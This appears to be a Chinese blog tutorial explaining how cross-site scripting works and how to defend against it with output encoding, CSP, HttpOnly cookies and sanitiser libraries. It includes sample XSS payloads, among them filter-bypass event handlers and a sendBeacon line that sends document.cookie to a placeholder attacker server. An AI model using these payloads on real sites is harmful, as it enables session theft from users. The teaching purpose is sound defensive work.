跨站脚本攻击 (XSS) 是什么 设计及工作原理

如果说SQL注入是**"拆房子"** (破坏数据库结构),那XSS(跨站脚本攻击)就是**"给房子安装窃听器和遥控器"**(劫持用户的浏览器)。

它和SQL注入并称Web安全领域的"卧龙凤雏",但它的设计机理和攻击链路要复杂得多。

下面我从设计本质底层工作原理浏览器渲染机制三个层面,为你彻底拆解XSS。


第一部分:设计本质 ------ "信任的错付"

XSS的核心根因是:Web应用将用户输入的"恶意脚本"当作"可信页面内容"返回给了浏览器,而浏览器无条件信任并执行了这段脚本。

它的底层逻辑和SQL注入"指令与数据混淆"如出一辙,但战场从数据库服务端 转移到了浏览器客户端

经典错误场景(后端伪代码):

java 复制代码
// 错误做法:直接将用户输入的评论内容,原样输出到HTML页面
String userComment = request.getParameter("comment");
response.getWriter().write("<div>用户说:" + userComment + "</div>");

如果攻击者输入的 comment 是:

html 复制代码
<script>alert('你的Cookie是:' + document.cookie)</script>

最终返回给浏览器的HTML变成:

html 复制代码
<div>用户说:<script>alert('你的Cookie是:' + document.cookie)</script></div>

关键点 :浏览器解析HTML时,遇到 <script> 标签,立刻停止渲染,开始执行JavaScript。用户的输入,变成了页面逻辑的一部分------这就是XSS的本质。


第二部分:XSS的三大类型(基于"攻击链路"分类)

理解XSS的工作原理,必须先分清它的三种形态,因为它们的触发时机和防御策略完全不同。

类型 触发链条(数据流向) 危害等级 典型场景
反射型 XSS 恶意脚本在HTTP请求参数 中 → 服务端直接拼接返回 → 浏览器立即执行 中(需诱导用户点击恶意链接) 搜索框错误提示、URL参数回显。
存储型 XSS 恶意脚本存入数据库 → 正常用户访问某页面时,服务端从DB取出并返回 → 浏览器执行。 极高(被动触发,无需用户交互) 博客评论区、留言板、用户昵称展示。
DOM 型 XSS 全程在浏览器端 ,不经过服务端。恶意脚本通过修改 document.locationinnerHTML 等DOM API,在本地渲染时执行。 高(难防御,因为服务端无法过滤) 单页应用(SPA)中的 window.location.hash 取值直接写入页面。

第三部分:底层工作原理 ------ 浏览器是如何"被骗"的?

要彻底理解XSS,必须深入浏览器的解析与执行引擎

1. HTML解析器(Parser)的"贪婪"

浏览器拿到HTML文本后,会启动HTML解析器逐字符扫描。当它发现 <script> 标签或 onclickonerrorjavascript:事件处理/伪协议 时,会立即切换解析模式

  • 非脚本内容 :按HTML DOM树结构解析(如 <div><p>)。

  • 脚本内容 :暂停HTML解析,将标签内的文本交给 JavaScript引擎(如V8) 直接编译执行。

2. 同源策略(SOP)的"信任盲区"

浏览器遵循"同源策略"------来自a.com的脚本可以访问a.com的Cookie、LocalStorage。

XSS之所以致命,是因为恶意脚本运行在"受害站点"的源(Origin)下。因此,这段脚本可以:

  • 窃取会话navigator.sendBeacon('//黑客服务器/cookie', document.cookie)

  • 劫持操作 :用 fetch 模拟用户发起转账请求。

  • 篡改界面 :通过 document.body.innerHTML 替换整个页面为钓鱼登录框。

3. 编码与上下文的"多维陷阱"(最难防御的点)

XSS的防御难点在于,同一个字符串在不同上下文中,转义规则完全不同

  • HTML标签内 :需要转义 <>&"' → 防止闭合标签。

  • HTML属性内 :需要转义 "' → 防止提前闭合属性,注入 onerror 事件。

  • JavaScript字符串内 :需要转义 \' → 防止闭合引号,注入恶意逻辑。

  • CSS样式内 :需要转义 \() → 防止 expressionurl() 注入。

经典绕过案例

如果你的过滤器只过滤了 <script> 标签,攻击者可以改用:

html 复制代码
<img src="x" onerror="alert('XSS')">   <!-- 利用图片加载失败触发事件 -->
<a href="javascript:alert('XSS')">点击</a>  <!-- 利用伪协议 -->
<body onload="alert('XSS')">          <!-- 利用页面加载事件 -->

第四部分:终极防御的"设计哲学" ------ 上下文感知输出编码

如果你只记住一句话,那就是:永远不要在输出时信任任何输入,且必须根据"数据将要出现的位置"进行对应的编码。

  1. HTML 实体编码(最基础的防御)

    &<>"' 转换为 &amp;&lt;&gt;&quot;&#x27;。这样,<script> 在页面中显示为纯文本标签 ,而不会被HTML解析器识别为代码。

    (注意:这仅对HTML Body上下文有效,在JavaScript或URL上下文中失效。)

  2. CSP(内容安全策略)------ 白名单防御

    这是现代浏览器的"终极杀手锏"。通过在HTTP响应头设置 Content-Security-Policy: script-src 'self',强制浏览器只执行本域或指定白名单域下的JS文件 ,完全禁止内联脚本(<script>onclick)执行。即使存在注入点,恶意代码也无法运行。

  3. HttpOnly Cookie ------ 守住最后底线

    设置 Set-Cookie: sessionId=xxx; HttpOnly,告诉浏览器禁止任何JavaScript脚本(包括正常脚本和恶意XSS脚本)读取该Cookie。这能阻断XSS最核心的"会话窃取"目标。


第五部分:给开发者的"避坑手册"

  • 在Java后端(JSP/Thymeleaf) :使用模板引擎自带的转义功能(如Thymeleaf的 th:text 默认转义),绝对避免 使用 th:utext(未转义)或 out.println 直接输出用户参数。

  • 在JavaScript前端(React/Vue) :框架默认会转义插值(如 { variable }),但致命风险 在于 v-htmldangerouslySetInnerHTMLinnerHTML 直接赋值------不到万不得已(如渲染富文本),绝不动用它们

  • 富文本处理(必须用HTML时) :绝不能自己写正则过滤,必须使用成熟的库,如 DOMPurify (前端)或 Jsoup (后端),它们基于DOM树解析,只允许白名单标签(如 <p><b>)存活,剔除非白名单脚本。


最后,回答你可能的疑惑:为什么XSS比SQL注入更难对付?

因为SQL注入针对的是单一固定目标(数据库) ,修复了代码就能一劳永逸;而XSS的战场在千千万万个不同的浏览器版本、插件和编码环境 中,且前端JavaScript生态的极度灵活性(如 evalsetTimeout 字符串执行)给攻击者提供了无穷无尽的变种。

相关推荐
进击的蛋蛋1 小时前
JS对象拷贝
前端
一心只读圣贤书1 小时前
AI 辅助前端组件文档治理:从 Props 说明到交互示例生成
前端
晴殇i2 小时前
最近在 Github 名字叫“马尾辫”,这个真的很有趣看到头像
前端·后端·开源
10mAh2 小时前
【PaddleOCR】扫描版 PDF 无法复制、RAG 检索为空怎么解决?——OCR 解析与版面还原实战
前端·pdf·ocr
IMPYLH2 小时前
HTML 的 <embed> 元素
前端·数据库·html
IT_陈寒2 小时前
Vite打包时静态资源404?加个斜杠就能解决
前端·人工智能·后端
沐土Arvin2 小时前
音频录制sdk开发
前端·微信
anyup2 小时前
【2026年8月】uView Pro 千星,还拿到了 GVP
前端·uni-app·github
必须会一定会2 小时前
用纯 HTML/JS 做一个 AI 需求澄清器:把模糊想法转换成可执行任务书
开发语言·前端·javascript·人工智能·html·ai编程